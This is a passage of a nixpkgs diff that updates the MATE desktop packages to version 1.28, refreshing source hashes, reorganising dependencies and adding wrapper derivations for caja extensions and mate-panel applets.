+    ${xorg.lndir}/bin/lndir -silent ${caja} $out
+
+    dbus_service_path="share/dbus-1/services/org.mate.freedesktop.FileManager1.service"
+    rm -f $out/share/applications/* "$out/$dbus_service_path"
+    for file in ${caja}/share/applications/*; do
+      substitute "$file" "$out/share/applications/$(basename $file)" \
+        --replace-fail "${caja}" "$out"
+    done
+    substitute "${caja}/$dbus_service_path" "$out/$dbus_service_path" \
+      --replace-fail "${caja}" "$out"
+
+    runHook postInstall
+  '';
+
+  preFixup = lib.optionalString (selectedExtensions != [ ]) ''
+    gappsWrapperArgs+=(
+      --set CAJA_EXTENSION_DIRS ${lib.concatMapStringsSep ":" (x: "${x.outPath}/lib/caja/extensions-2.0") selectedExtensions}
+    )
+  '';
+
+  inherit (caja.meta);
+}
diff --git a/pkgs/desktops/mate/default.nix b/pkgs/desktops/mate/default.nix
index 8604c0f5ee90..da8c8e065789 100644
--- a/pkgs/desktops/mate/default.nix
+++ b/pkgs/desktops/mate/default.nix
@@ -14,7 +14,7 @@ let
     caja = callPackage ./caja { };
     caja-dropbox = callPackage ./caja-dropbox { };
     caja-extensions = callPackage ./caja-extensions { };
-    caja-with-extensions = callPackage ./caja-with-extensions { };
+    caja-with-extensions = callPackage ./caja/with-extensions.nix { };
     engrampa = callPackage ./engrampa { };
     eom = callPackage ./eom { };
     libmatekbd = callPackage ./libmatekbd { };
@@ -27,6 +27,7 @@ let
     mate-common = callPackage ./mate-common { };
     mate-control-center = callPackage ./mate-control-center { };
     mate-desktop = callPackage ./mate-desktop { };
+    mate-gsettings-overrides = callPackage ./mate-gsettings-overrides { };
     mate-icon-theme = callPackage ./mate-icon-theme { };
     mate-icon-theme-faenza = callPackage ./mate-icon-theme-faenza { };
     mate-indicator-applet = callPackage ./mate-indicator-applet { };
@@ -35,6 +36,7 @@ let
     mate-netbook = callPackage ./mate-netbook { };
     mate-notification-daemon = callPackage ./mate-notification-daemon { };
     mate-panel = callPackage ./mate-panel { };
+    mate-panel-with-applets = callPackage ./mate-panel/with-applets.nix { };
     mate-polkit = callPackage ./mate-polkit { };
     mate-power-manager = callPackage ./mate-power-manager { };
     mate-sensors-applet = callPackage ./mate-sensors-applet { };
@@ -49,12 +51,13 @@ let
     mate-user-guide = callPackage ./mate-user-guide { };
     mate-user-share = callPackage ./mate-user-share { };
     mate-utils = callPackage ./mate-utils { };
+    mate-wayland-session = callPackage ./mate-wayland-session { };
     mozo = callPackage ./mozo { };
-    pluma = callPackage ./pluma { inherit (pkgs.gnome) adwaita-icon-theme; };
+    pluma = callPackage ./pluma { };
     python-caja = callPackage ./python-caja { };
 
+    # Caja and mate-panel are managed in NixOS module.
     basePackages = [
-      caja
       libmatekbd
       libmatemixer
       libmateweather
@@ -65,7 +68,6 @@ let
       mate-icon-theme
       mate-menus
       mate-notification-daemon
-      mate-panel
       mate-polkit
       mate-session-manager
       mate-settings-daemon
@@ -75,7 +77,7 @@ let
 
     extraPackages = [
       atril
-      caja-extensions
+      caja-extensions # for caja-sendto
       engrampa
       eom
       mate-applets
@@ -86,7 +88,6 @@ let
       mate-netbook
       mate-power-manager
       mate-screensaver
-      mate-sensors-applet
       mate-system-monitor
       mate-terminal
       mate-user-guide
@@ -96,6 +97,20 @@ let
       pluma
     ];
 
+    cajaExtensions = [
+      caja-extensions
+    ];
+
+    panelApplets = [
+      mate-applets
+      mate-indicator-applet
+      mate-netbook
+      mate-notification-daemon
+      mate-media
+      mate-power-manager
+      mate-sensors-applet
+      mate-utils
+    ];
   };
 
 in lib.makeScope pkgs.newScope packages
diff --git a/pkgs/desktops/mate/engrampa/default.nix b/pkgs/desktops/mate/engrampa/default.nix
index 8ed6f37fc4d6..d8ec65de6b9d 100644
--- a/pkgs/desktops/mate/engrampa/default.nix
+++ b/pkgs/desktops/mate/engrampa/default.nix
@@ -5,22 +5,24 @@
 , gettext
 , itstool
 , libxml2
+, caja
 , gtk3
-, mate
 , hicolor-icon-theme
+, json-glib
+, mate-desktop
 , wrapGAppsHook
 , mateUpdateScript
-# can be defaulted to true once engrampa builds with meson (version > 1.27.0)
+# can be defaulted to true once switch to meson
 , withMagic ? stdenv.buildPlatform.canExecute stdenv.hostPlatform, file
 }:
 
 stdenv.mkDerivation rec {
   pname = "engrampa";
-  version = "1.26.2";
+  version = "1.28.1";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "cx9cR7UfNvyMiWUrbnfbT7K0Zjid6ZkMmFUpo9T/iEw=";
+    sha256 = "nFxMm8+LCO6qjydVONJLTJVQidWK7AMx6JwCuE2FOGo=";
   };
 
   nativeBuildInputs = [
@@ -32,10 +34,11 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
+    caja
     gtk3
-    mate.caja
     hicolor-icon-theme
-    mate.mate-desktop
+    json-glib
+    mate-desktop
   ] ++ lib.optionals withMagic [
     file
   ];
diff --git a/pkgs/desktops/mate/eom/default.nix b/pkgs/desktops/mate/eom/default.nix
index 765d10dd9d68..0ca00c27b92b 100644
--- a/pkgs/desktops/mate/eom/default.nix
+++ b/pkgs/desktops/mate/eom/default.nix
@@ -13,7 +13,7 @@
 , libpeas
 , shared-mime-info
 , gtk3
-, mate
+, mate-desktop
 , hicolor-icon-theme
 , wrapGAppsHook
 , mateUpdateScript
@@ -21,11 +21,11 @@
 
 stdenv.mkDerivation rec {
   pname = "eom";
-  version = "1.26.1";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "tSUSKUlPfmxi4J+yEeQzCN9PB0xVG6CiM9ws1oZLmWA=";
+    sha256 = "mgHKsplaGoxyWMhl6uXxgu1HMMRGcq/cOgfkI+3VOrw=";
   };
 
   nativeBuildInputs = [
@@ -45,7 +45,7 @@ stdenv.mkDerivation rec {
     shared-mime-info
     gtk3
     libpeas
-    mate.mate-desktop
+    mate-desktop
     hicolor-icon-theme
   ];
 
diff --git a/pkgs/desktops/mate/libmatekbd/default.nix b/pkgs/desktops/mate/libmatekbd/default.nix
index 901d1c6bfffa..918e28f255aa 100644
--- a/pkgs/desktops/mate/libmatekbd/default.nix
+++ b/pkgs/desktops/mate/libmatekbd/default.nix
@@ -10,11 +10,11 @@
 
 stdenv.mkDerivation rec {
   pname = "libmatekbd";
-  version = "1.26.1";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "Y5ONkSUpRe7qiP2DdNEjG9g9As2WXGu6F8GF7bOXvO0=";
+    sha256 = "XS5YSDwrI9M1A9JMiPi5CijMAYnX5AAbPic6YE9v6A4=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/desktops/mate/libmatemixer/default.nix b/pkgs/desktops/mate/libmatemixer/default.nix
index 310bfb96a7d9..ebdd3eb07dda 100644
--- a/pkgs/desktops/mate/libmatemixer/default.nix
+++ b/pkgs/desktops/mate/libmatemixer/default.nix
@@ -7,6 +7,7 @@
 , glib
 , alsaSupport ? stdenv.isLinux
 , alsa-lib
+, udev
 , pulseaudioSupport ? config.pulseaudio or true
 , libpulseaudio
 , ossSupport ? false
@@ -15,11 +16,11 @@
 
 stdenv.mkDerivation rec {
   pname = "libmatemixer";
-  version = "1.26.1";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "SWD1mmufr4KgHUpLjMJgtIaN2ZHv1Kmxe10KFaHToa4=";
+    sha256 = "XXO5Ijl/YGiOPJUw61MrzkbDDiYtsbU1L6MsQNhwoMc=";
   };
 
   nativeBuildInputs = [
@@ -29,9 +30,12 @@ stdenv.mkDerivation rec {
 
   buildInputs = [
     glib
-  ]
-  ++ lib.optional alsaSupport alsa-lib
-  ++ lib.optional pulseaudioSupport libpulseaudio;
+  ] ++ lib.optionals alsaSupport [
+   alsa-lib
+   udev
+  ] ++ lib.optionals pulseaudioSupport [
+    libpulseaudio
+  ];
 
   configureFlags = lib.optional ossSupport "--enable-oss";
 
diff --git a/pkgs/desktops/mate/libmateweather/default.nix b/pkgs/desktops/mate/libmateweather/default.nix
index 4c7e6eb6c023..4c003c4a9873 100644
--- a/pkgs/desktops/mate/libmateweather/default.nix
+++ b/pkgs/desktops/mate/libmateweather/default.nix
@@ -14,11 +14,11 @@
 
 stdenv.mkDerivation rec {
   pname = "libmateweather";
-  version = "1.26.3";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "XmzSRBiEfLRazxfaW0NacTHLTsKs/2joKPNCob8T70o=";
+    sha256 = "VUNz3rWzk7nYSydd0spmyaSi0ObskgRPq4qlPjAy0rU=";
   };
 
   strictDeps = true;
diff --git a/pkgs/desktops/mate/marco/default.nix b/pkgs/desktops/mate/marco/default.nix
index 0e71a9a86fd6..598cc51eca46 100644
--- a/pkgs/desktops/mate/marco/default.nix
+++ b/pkgs/desktops/mate/marco/default.nix
@@ -14,6 +14,7 @@
 , gnome
 , glib
 , gtk3
+, mate-desktop
 , mate-settings-daemon
 , wrapGAppsHook
 , mateUpdateScript
@@ -21,11 +22,11 @@
 
 stdenv.mkDerivation rec {
   pname = "marco";
-  version = "1.26.2";
+  version = "1.28.1";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "EvGiVP4QcvAwSIRxHgiaVoJ4CgEVk0Au043muUgOB6M=";
+    sha256 = "JJbl5A7pgM1oSUk6w+D4/Q3si4HGdNqNm6GaV38KwuE=";
   };
 
   nativeBuildInputs = [
@@ -45,9 +46,15 @@ stdenv.mkDerivation rec {
     libstartup_notification
     gtk3
     gnome.zenity
+    mate-desktop
     mate-settings-daemon
   ];
 
+  postPatch = ''
+    substituteInPlace src/core/util.c \
+      --replace-fail 'argvl[i++] = "zenity"' 'argvl[i++] = "${gnome.zenity}/bin/zenity"'
+  '';
+
   env.NIX_CFLAGS_COMPILE = "-I${glib.dev}/include/gio-unix-2.0";
 
   enableParallelBuilding = true;
diff --git a/pkgs/desktops/mate/mate-applets/default.nix b/pkgs/desktops/mate/mate-applets/default.nix
index dfb4e4620c51..3e20dc74da43 100644
--- a/pkgs/desktops/mate/mate-applets/default.nix
+++ b/pkgs/desktops/mate/mate-applets/default.nix
@@ -7,7 +7,7 @@
 , dbus-glib
 , glib
 , gtk3
-, gtksourceview3
+, gtksourceview4
 , gucharmap
 , libmateweather
 , libnl
@@ -20,7 +20,6 @@
 , polkit
 , upower
 , wirelesstools
-, mate
 , hicolor-icon-theme
 , wrapGAppsHook
 , mateUpdateScript
@@ -28,11 +27,11 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-applets";
-  version = "1.26.1";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "Orj2HbN23DM85MGHIsY6B/qz6OEnK34OCXrUWXsXwsI=";
+    sha256 = "G2vva9XTJvudyCj/kQ5LG5KUtGYMMR3ByQMQ/Zw1ZoY=";
   };
 
   nativeBuildInputs = [
@@ -45,7 +44,7 @@ stdenv.mkDerivation rec {
   buildInputs = [
     dbus-glib
     gtk3
-    gtksourceview3
+    gtksourceview4
     gucharmap
     hicolor-icon-theme
     libgtop
@@ -61,7 +60,7 @@ stdenv.mkDerivation rec {
     wirelesstools
   ];
 
-  configureFlags = [ "--enable-suid=no" ];
+  configureFlags = [ "--enable-suid=no" "--enable-in-process" ];
 
   env.NIX_CFLAGS_COMPILE = "-I${glib.dev}/include/gio-unix-2.0";
 
diff --git a/pkgs/desktops/mate/mate-backgrounds/default.nix b/pkgs/desktops/mate/mate-backgrounds/default.nix
index 639f156c8ac7..0d512260d303 100644
--- a/pkgs/desktops/mate/mate-backgrounds/default.nix
+++ b/pkgs/desktops/mate/mate-backgrounds/default.nix
@@ -1,31 +1,21 @@
 { lib
-, stdenv
+, stdenvNoCC
 , fetchurl
-, fetchpatch
 , meson
 , ninja
 , gettext
 , mateUpdateScript
 }:
 
-stdenv.mkDerivation rec {
+stdenvNoCC.mkDerivation rec {
   pname = "mate-backgrounds";
-  version = "1.26.0";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "0379hngy3ap1r5kmqvmzs9r710k2c9nal2ps3hq765df4ir15j8d";
+    sha256 = "UNGv0CSGvQesIqWmtu+jAxFI8NSKguSI2QmtVwA6aUM=";
   };
 
-  patches = [
-    # Fix build with meson 0.61, can be removed on next update.
-    # https://github.com/mate-desktop/mate-backgrounds/pull/39
-    (fetchpatch {
-      url = "https://github.com/mate-desktop/mate-backgrounds/commit/0096e237d420e6247a75a1c6940a818e309ac2a7.patch";
-      sha256 = "HEF8VWunFO+NCG18fZA7lbE2l8pc6Z3jcD+rSZ1Jsqg=";
-    })
-  ];
-
   nativeBuildInputs = [
     gettext
     meson
diff --git a/pkgs/desktops/mate/mate-calc/default.nix b/pkgs/desktops/mate/mate-calc/default.nix
index cdb743cac665..4a4d6db2a3b3 100644
--- a/pkgs/desktops/mate/mate-calc/default.nix
+++ b/pkgs/desktops/mate/mate-calc/default.nix
@@ -14,11 +14,11 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-calc";
-  version = "1.26.0";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "0mddfh9ixhh60nfgx5kcprcl9liavwqyina11q3pnpfs3n02df3y";
+    sha256 = "gEsSXR4oZLHnSvgW2psquLGUcrmvl0Q37nNVraXmKPU=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/desktops/mate/mate-common/default.nix b/pkgs/desktops/mate/mate-common/default.nix
index 0f4a1901932b..fac27474e32a 100644
--- a/pkgs/desktops/mate/mate-common/default.nix
+++ b/pkgs/desktops/mate/mate-common/default.nix
@@ -1,16 +1,16 @@
 { lib
-, stdenv
+, stdenvNoCC
 , fetchurl
 , mateUpdateScript
 }:
 
-stdenv.mkDerivation rec {
+stdenvNoCC.mkDerivation rec {
   pname = "mate-common";
-  version = "1.26.0";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "014wpfqpqmfkzv81paap4fz15mj1gsyvaxlrfqsp9a3yxw4f7jaf";
+    sha256 = "QrfCzuJo9x1+HBrU9pvNoOzWVXipZyIYfGt2N40mugo=";
   };
 
   enableParallelBuilding = true;
diff --git a/pkgs/desktops/mate/mate-control-center/default.nix b/pkgs/desktops/mate/mate-control-center/default.nix
index 8e2e3ea621c2..8305601204e2 100644
--- a/pkgs/desktops/mate/mate-control-center/default.nix
+++ b/pkgs/desktops/mate/mate-control-center/default.nix
@@ -5,17 +5,27 @@
 , gettext
 , itstool
 , libxml2
+, accountsservice
+, caja
 , dbus-glib
 , libxklavier
 , libcanberra-gtk3
+, libgtop
+, libmatekbd
 , librsvg
-, libappindicator-gtk3
+, libayatana-appindicator
 , glib
 , desktop-file-utils
 , dconf
 , gtk3
 , polkit
-, mate
+, marco
+, mate-desktop
+, mate-menus
+, mate-panel
+, mate-settings-daemon
+, udisks2
+, systemd
 , hicolor-icon-theme
 , wrapGAppsHook
 , mateUpdateScript
@@ -23,11 +33,11 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-control-center";
-  version = "1.26.1";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "4F9JKjtleqVvxY989xvIyA344lNR/eTbT1I6uNtbVgg=";
+    sha256 = "6/LHBP1SSNwvmDb/KQKIae8p1QVJB8xhVzS2ODp5FLw=";
   };
 
   nativeBuildInputs = [
@@ -39,32 +49,41 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
+    accountsservice
     libxml2
     dbus-glib
     libxklavier
     libcanberra-gtk3
+    libgtop
+    libmatekbd
     librsvg
-    libappindicator-gtk3
+    libayatana-appindicator
     gtk3
     dconf
     polkit
     hicolor-icon-theme
-    mate.mate-desktop
-    mate.libmatekbd
-    mate.mate-menus
-    mate.mate-panel # for org.mate.panel schema, see m-c-c#678
-    mate.marco
-    mate.mate-settings-daemon
+    marco
+    mate-desktop
+    mate-menus
+    mate-panel # for org.mate.panel schema, see m-c-c#678
+    mate-settings-daemon
+    udisks2
+    systemd
   ];
 
+  postPatch = ''
+    substituteInPlace capplets/system-info/mate-system-info.c \
+      --replace-fail "/usr/bin/mate-about" "${mate-desktop}/bin/mate-about"
+  '';
+
   configureFlags = [ "--disable-update-mimedb" ];
 
   preFixup = ''
     gappsWrapperArgs+=(
       # WM keyboard shortcuts
-      --prefix XDG_DATA_DIRS : "${mate.marco}/share"
+      --prefix XDG_DATA_DIRS : "${marco}/share"
       # Desktop font, works only when passed after gtk3 schemas in the wrapper for some reason
-      --prefix XDG_DATA_DIRS : "${glib.getSchemaDataDirPath mate.caja}"
+      --prefix XDG_DATA_DIRS : "${glib.getSchemaDataDirPath caja}"
     )
   '';
 
diff --git a/pkgs/desktops/mate/mate-desktop/default.nix b/pkgs/desktops/mate/mate-desktop/default.nix
index d7c052ae3c24..4f917028bd80 100644
--- a/pkgs/desktops/mate/mate-desktop/default.nix
+++ b/pkgs/desktops/mate/mate-desktop/default.nix
@@ -4,7 +4,7 @@
 , pkg-config
 , gettext
 , isocodes
-, gnome
+, libstartup_notification
 , gtk3
 , dconf
 , wrapGAppsHook
@@ -13,11 +13,13 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-desktop";
-  version = "1.26.2";
+  version = "1.28.2";
+
+  outputs = [ "out" "dev" ];
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "XtA/fFLXt+zknKHnNqp2au/rXGOeqz5oxwkMUw0CN2o=";
+    sha256 = "MrtLeSAUs5HB4biunBioK01EdlCYS0y6fSjpVWSWSqI=";
   };
 
   nativeBuildInputs = [
@@ -28,10 +30,14 @@ stdenv.mkDerivation rec {
 
   buildInputs = [
     dconf
-    gtk3
     isocodes
   ];
 
+  propagatedBuildInputs = [
+    gtk3
+    libstartup_notification
+  ];
+
   enableParallelBuilding = true;
 
   passthru.updateScript = mateUpdateScript { inherit pname; };
diff --git a/pkgs/desktops/mate/mate-gsettings-overrides/default.nix b/pkgs/desktops/mate/mate-gsettings-overrides/default.nix
new file mode 100644
index 000000000000..e9e2c3c3b0b9
--- /dev/null
+++ b/pkgs/desktops/mate/mate-gsettings-overrides/default.nix
@@ -0,0 +1,24 @@
+{ lib
+, runCommand
+, gsettings-desktop-schemas
+, mate-wayland-session
+, glib
+}:
+
+let
+  gsettingsOverridePackages = [
+    gsettings-desktop-schemas
+    mate-wayland-session
+  ];
+in
+runCommand "mate-gsettings-overrides" { preferLocalBuild = true; } ''
+  data_dir="$out/share/gsettings-schemas/nixos-gsettings-overrides"
+  schema_dir="$data_dir/glib-2.0/schemas"
+  mkdir -p "$schema_dir"
+
+  ${lib.concatMapStringsSep "\n" (pkg: "cp -rf \"${glib.getSchemaPath pkg}\"/*.xml \"${glib.getSchemaPath pkg}\"/*.gschema.override \"$schema_dir\"") gsettingsOverridePackages}
+
+  chmod -R a+w "$data_dir"
+
+  ${glib.dev}/bin/glib-compile-schemas --strict "$schema_dir"
+''
diff --git a/pkgs/desktops/mate/mate-icon-theme/default.nix b/pkgs/desktops/mate/mate-icon-theme/default.nix
index 1f874fa6f16e..b951d929bb06 100644
--- a/pkgs/desktops/mate/mate-icon-theme/default.nix
+++ b/pkgs/desktops/mate/mate-icon-theme/default.nix
@@ -12,11 +12,11 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-icon-theme";
-  version = "1.26.0";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "0nha555fhhn0j5wmzmdc7bh93ckzwwdm8mwmzma5whkzslv09xa1";
+    sha256 = "lNYHkGDKXfdFQpId5O6ji30C0HVhyRk1bZXeh2+abTo=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/desktops/mate/mate-indicator-applet/default.nix b/pkgs/desktops/mate/mate-indicator-applet/default.nix
index b6445151f594..0a915625958b 100644
--- a/pkgs/desktops/mate/mate-indicator-applet/default.nix
+++ b/pkgs/desktops/mate/mate-indicator-applet/default.nix
@@ -5,7 +5,7 @@
 , gettext
 , gtk3
 , libayatana-indicator
-, mate
+, mate-panel
 , hicolor-icon-theme
 , wrapGAppsHook
 , mateUpdateScript
@@ -13,17 +13,17 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-indicator-applet";
-  version = "1.26.0";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "144fh9f3lag2cqnmb6zxlh8k83ya8kha6rmd7r8gg3z5w3nzpyz4";
+    sha256 = "zrPXA5cKPlWNfNffCxwhceOvdSolSVrO0uIiwemtSc0=";
   };
 
   postPatch = ''
     # Find installed Unity & Ayatana (new-style) indicators
     substituteInPlace src/applet-main.c \
-      --replace '/usr/share' '/run/current-system/sw/share'
+      --replace-fail '/usr/share' '/run/current-system/sw/share'
   '';
 
   nativeBuildInputs = [
@@ -35,7 +35,7 @@ stdenv.mkDerivation rec {
   buildInputs = [
     gtk3
     libayatana-indicator
-    mate.mate-panel
+    mate-panel
     hicolor-icon-theme
   ];
 
diff --git a/pkgs/desktops/mate/mate-media/default.nix b/pkgs/desktops/mate/mate-media/default.nix
index 0b5eae0172e0..4b2590088e1d 100644
--- a/pkgs/desktops/mate/mate-media/default.nix
+++ b/pkgs/desktops/mate/mate-media/default.nix
@@ -4,32 +4,27 @@
 , pkg-config
 , gettext
 , libtool
-, libxml2
-, libcanberra-gtk3
+, gtk-layer-shell
 , gtk3
-, mate
+, libcanberra-gtk3
+, libmatemixer
+, libxml2
+, mate-desktop
+, mate-panel
+, wayland
 , wrapGAppsHook
 , mateUpdateScript
 }:
 
 stdenv.mkDerivation rec {
   pname = "mate-media";
-  version = "1.26.2";
+  version = "1.28.1";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "r0ZjlXTMOIUTCJyhC7FB/8Pm0awz5zDkII21dZZChQ8=";
+    sha256 = "vNwQLiL2P1XmMWbVxwjpHBE1cOajCodDRaiGCeg6mRI=";
   };
 
-  buildInputs = [
-    libxml2
-    libcanberra-gtk3
-    gtk3
-    mate.libmatemixer
-    mate.mate-panel
-    mate.mate-desktop
-  ];
-
   nativeBuildInputs = [
     pkg-config
     gettext
@@ -37,6 +32,19 @@ stdenv.mkDerivation rec {
     wrapGAppsHook
   ];
 
+  buildInputs = [
+    gtk-layer-shell
+    gtk3
+    libcanberra-gtk3
+    libmatemixer
+    libxml2
+    mate-desktop
+    mate-panel
+    wayland
+  ];
+
+  configureFlags = [ "--enable-in-process" ];
+
   enableParallelBuilding = true;
 
   passthru.updateScript = mateUpdateScript { inherit pname; };
diff --git a/pkgs/desktops/mate/mate-menus/default.nix b/pkgs/desktops/mate/mate-menus/default.nix
index 9d879340ce1e..9328147e642c 100644
--- a/pkgs/desktops/mate/mate-menus/default.nix
+++ b/pkgs/desktops/mate/mate-menus/default.nix
@@ -11,11 +11,11 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-menus";
-  version = "1.26.1";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "RY1ZmuW2UMfSF0D5/pVMSoOL5F7WKrQOIOMG+vXdHYw=";
+    sha256 = "z0DHXH1vCq0dSWmCj8YgJcYiK8aoTwu51urX5FlwUI0=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/desktops/mate/mate-notification-daemon/default.nix b/pkgs/desktops/mate/mate-notification-daemon/default.nix
index 7569a676db11..ca1fa2e17289 100644
--- a/pkgs/desktops/mate/mate-notification-daemon/default.nix
+++ b/pkgs/desktops/mate/mate-notification-daemon/default.nix
@@ -7,6 +7,7 @@
 , libcanberra-gtk3
 , libnotify
 , libwnck
+, gtk-layer-shell
 , gtk3
 , libxml2
 , mate-desktop
@@ -17,11 +18,11 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-notification-daemon";
-  version = "1.26.1";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "Dq6SlsSKPHH9VvGTGWH5LSnkWgRf5fGgX4PHQAwxmSQ=";
+    sha256 = "pDEDSOrYZsvLm0xGP00mXMapahp4KpQRoIsjvWXbsuA=";
   };
 
   nativeBuildInputs = [
@@ -35,11 +36,14 @@ stdenv.mkDerivation rec {
     libcanberra-gtk3
     libnotify
     libwnck
+    gtk-layer-shell
     gtk3
     mate-desktop
     mate-panel
   ];
 
+  configureFlags = [ "--enable-in-process" ];
+
   env.NIX_CFLAGS_COMPILE = "-I${glib.dev}/include/gio-unix-2.0";
 
   enableParallelBuilding = true;
diff --git a/pkgs/desktops/mate/mate-panel/default.nix b/pkgs/desktops/mate/mate-panel/default.nix
index 214e1767f25b..75340bf4dc96 100644
--- a/pkgs/desktops/mate/mate-panel/default.nix
+++ b/pkgs/desktops/mate/mate-panel/default.nix
@@ -5,25 +5,31 @@
 , gettext
 , itstool
 , glib
+, gnome
+, gtk-layer-shell
+, gtk3
+, libmateweather
 , libwnck
 , librsvg
 , libxml2
 , dconf
-, gtk3
-, mate
+, mate-desktop
+, mate-menus
 , hicolor-icon-theme
+, wayland
 , gobject-introspection
 , wrapGAppsHook
+, marco
 , mateUpdateScript
 }:
 
 stdenv.mkDerivation rec {
   pname = "mate-panel";
-  version = "1.26.4";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "IHD51RVlfl3c2g2H73KXE9upy3sq0GIjvWdKIcxrPa8=";
+    sha256 = "s70EoJTQ61vX3DOA728MSdmp1SCXM9fM17RtBmogjLo=";
   };
 
   nativeBuildInputs = [
@@ -35,18 +41,29 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
-    glib
+    gtk-layer-shell
+    libmateweather
     libwnck
     librsvg
     libxml2
-    gtk3
     dconf
-    mate.libmateweather
-    mate.mate-desktop
-    mate.mate-menus
+    mate-desktop
+    mate-menus
     hicolor-icon-theme
+    wayland
   ];
 
+  propagatedBuildInputs = [
+    glib
+    gtk3
+    # See https://github.com/mate-desktop/mate-panel/issues/1402
+    # This is propagated for mate_panel_applet_settings_new and applet's wrapGAppsHook
+    gnome.dconf-editor
+  ];
+
+  # Needed for Wayland support.
+  configureFlags = [ "--with-in-process-applets=all" ];
+
   env.NIX_CFLAGS_COMPILE = "-I${glib.dev}/include/gio-unix-2.0";
 
   makeFlags = [
@@ -57,7 +74,7 @@ stdenv.mkDerivation rec {
   preFixup = ''
     gappsWrapperArgs+=(
       # Workspace switcher settings, works only when passed after gtk3 schemas in the wrapper for some reason
-      --prefix XDG_DATA_DIRS : "${glib.getSchemaDataDirPath mate.marco}"
+      --prefix XDG_DATA_DIRS : "${glib.getSchemaDataDirPath marco}"
     )
   '';
 
diff --git a/pkgs/desktops/mate/mate-panel/with-applets.nix b/pkgs/desktops/mate/mate-panel/with-applets.nix
new file mode 100644
index 000000000000..e3f76645aa7c
--- /dev/null
+++ b/pkgs/desktops/mate/mate-panel/with-applets.nix
@@ -0,0 +1,61 @@
+{ stdenv
+, lib
+, glib
+, wrapGAppsHook
+, xorg
+, marco
+, mate-panel
+, panelApplets
+, applets ? [ ]
+, useDefaultApplets ? true
+}:
+
+let
+  selectedApplets = applets ++ (lib.optionals useDefaultApplets panelApplets);
+in
+stdenv.mkDerivation {
+  pname = "${mate-panel.pname}-with-applets";
+  version = mate-panel.version;
+
+  src = null;
+
+  paths = [ mate-panel ] ++ selectedApplets;
+  passAsFile = [ "paths" ];
+
+  nativeBuildInputs = [
+    glib
+    wrapGAppsHook
+  ];
+
+  buildInputs = lib.forEach selectedApplets (x: x.buildInputs) ++ selectedApplets
+    ++ [ mate-panel ] ++ mate-panel.buildInputs ++ mate-panel.propagatedBuildInputs;
+
+  dontUnpack = true;
+  dontConfigure = true;
+  dontBuild = true;
+
+  preferLocalBuild = true;
+  allowSubstitutes = false;
+
+  installPhase = ''
+    runHook preInstall
+
+    mkdir -p $out
+    for i in $(cat $pathsPath); do
+      ${xorg.lndir}/bin/lndir -silent $i $out
+    done
+
+    runHook postInstall
+  '';
+
+  preFixup = ''
+    gappsWrapperArgs+=(
+      --set MATE_PANEL_APPLETS_DIR "$out/share/mate-panel/applets"
+      --set MATE_PANEL_EXTRA_MODULES "$out/lib/mate-panel/applets"
+      # Workspace switcher settings
+      --prefix XDG_DATA_DIRS : "${glib.getSchemaDataDirPath marco}"
+    )
+  '';
+
+  inherit (mate-panel.meta);
+}
